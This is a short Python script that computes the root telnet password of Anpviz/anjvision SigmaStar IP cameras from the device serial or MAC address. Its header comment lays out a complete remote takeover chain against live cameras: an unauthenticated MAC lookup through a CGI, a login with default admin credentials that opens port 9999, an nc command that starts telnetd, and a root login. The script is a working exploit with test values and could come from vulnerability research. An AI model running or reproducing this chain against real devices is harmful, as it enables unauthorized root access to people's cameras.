#!/usr/bin/env python3
# Root telnet password for Anpviz / anjvision SigmaStar IPC (YM800N-NM223N family).
#
# mainctrl computes it at boot and does: echo -e "<pw>\n<pw>" | passwd root
#   pw = UPPER( md5("ANJVISION" + SERIALNUMBER) )[-8:]   (busybox passwd = DES, 8 chars)
#
# Serial relates to the (unauth-readable) MAC:
#   SN = "EF00000000" + last 3 MAC bytes (hex, upper).  e.g. MAC ..:60:97:FA -> EF000000006097FA
#
# Full remote chain (no physical access):
#   MAC=$(curl -s http://CAM/getmacaddr_eth0.cgi)                       # unauth
#   pw=$(anpviz_rootpw.py --mac $MAC)
#   curl "http://CAM/cgi-bin/console.cgi?enable=1&username=admin&password=123456"  # opens tcp 9999
#   printf 'telnet\n' | nc CAM 9999                                     # starts telnetd :23
#   telnet CAM  ->  login root / $pw
import sys, hashlib
def root_password(sn):            return hashlib.md5(("ANJVISION"+sn.strip().upper()).encode()).hexdigest().upper()[-8:]
def sn_from_mac(mac):             return "EF00000000" + mac.replace(":","").replace("-","").upper()[-6:]
if __name__=="__main__":
    a=sys.argv[1:]
    if a and a[0]=="--test":
        assert root_password("EF000000006097FA")=="8F58D76E"
        assert root_password("EF0000000060987E")=="9245CB19"
        assert sn_from_mac("F0:00:00:60:97:FA")=="EF000000006097FA"
        print("ok"); sys.exit(0)
    if len(a)==2 and a[0]=="--mac": print(root_password(sn_from_mac(a[1]))); sys.exit(0)
    if len(a)==1:                   print(root_password(a[0])); sys.exit(0)
    print("usage: anpviz_rootpw.py <SERIAL> | --mac <MAC> | --test"); sys.exit(1)
